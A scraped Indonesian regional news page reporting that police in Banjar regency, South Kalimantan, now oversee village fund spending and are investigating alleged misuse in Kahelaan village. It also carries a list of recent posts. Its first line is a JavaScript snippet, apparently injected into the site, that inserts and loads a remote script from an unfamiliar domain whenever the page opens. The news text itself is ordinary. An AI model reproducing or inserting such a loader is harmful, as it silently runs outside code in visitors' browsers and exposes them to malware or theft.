(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Jangan “Bermain” dengan Dana Desa, Sebab Kini Diawasi Polisi


MARTAPURA, Para kepala desa kini harus lebih awas lagi menggunakan Anggaran Penerimaan Belanja Desa (APBDes). Karena ketahuan melenceng sedikit saja, jeruji penjara menanti. Terlebih lagi saat ini, pengawasan penggunaan APBDes juga dilakukan aparat kepolisian.

Itu setelah Kepala Kepolisian Republik Indonesia (Kapolri), Jendral Tito Karnavian menyepakati nota kesepahaman pencegahan,pengawasan, dan penanganan dana desa bersama Menteri Desa Pembangunan Daerah Tertinggal dan Trasmigrasi, Eko Putro Sandjojo belum lama tadi.

Melaksanakan hasil nota kesepahaman itu, aparat kepolisian di tingkat polsek di tiap kecamatan langsung bergerak ke desa-desa. Tak terkecuali di polsek-polsek di Kabupaten Banjar. Seperti yang dilakukan Bripka Didi PB dan Bripka Subhan, dua Bhabinkamtibmas dari Polsek Astambul yang dalam sepekan ini ‘safari’ ke sejumlah desa yang ada di wilayah hukum Kecamatan Astambul.

Menurut Bripka Didi PB, menyambangi sejumlah desa dan mengecek spanduk APBDes dilakukan untuk memastikan transparansi penggunaan dana desa. Pengecekan juga untuk memastikan kesesuaian antara besaran anggaran dengan hasil pekerjaan.

Pengecekan spanduk APBDes, menurut Bripka Didi PB yang diamini Bripka Subhan, dilakukan sebagai langkah lanjut penandatangan nota kespeahaman Kapolri dengan Menteri Desa.

Karena itu ia mengimbau kepada semua kepala desa, utamanya di desa-desa yang ada di wilayah hukum Polsek Astambul agar konsisten dan transparan menggunakan dana desa.

Foto : Rudiyanto

“Jangan sampai ada penyelewengan,” kata Bripka Didi PB usai mengecek spanduk APBDes di Desa Sungai Tuan Ulu tangah pekan lalu.

Di tengah proses pengawasan penggunaan dana desa, proses pengusutan dugaan penyelewenagan dana desa juga berjalan di Unit Tindak Pidana Korupsi (Tipikor) Polres Banjar.

Syahrial, Kanit Tipikor Polres Banjar mengiayakan adanya proses pengusutan penyelewenagan dana desa di Desa Kahelaan yang diawali dari adanya laporan masyarakat. “Sampai saat ini kami masih terus melakukan penyelidikan dugaan penyelewengan dana Desa Kahelaan. Mudah-mudahan tahun 2018 nanti dapat ditingkatkan tahap penyidikan,” ujarnya.

Selain pengusutan dugaan penyelewengan dana desa di Kahelaan, diakuinya ada juga beberapa laporan lain dari masyarakat di beberapa desa ihwal adanya dugaan penyelewengan. Beberapa laporan yang diterima, di antaranya laporan dari warga Desa Lok Buntar, Kecamatan Sungai Tabuk dan Desa Akar Bagantung Kecamatan Martapura Timur. (rudiyanto)


Desy Arfianty

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

4 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

5 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

5 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

5 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

6 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

6 jam ago

This website uses cookies.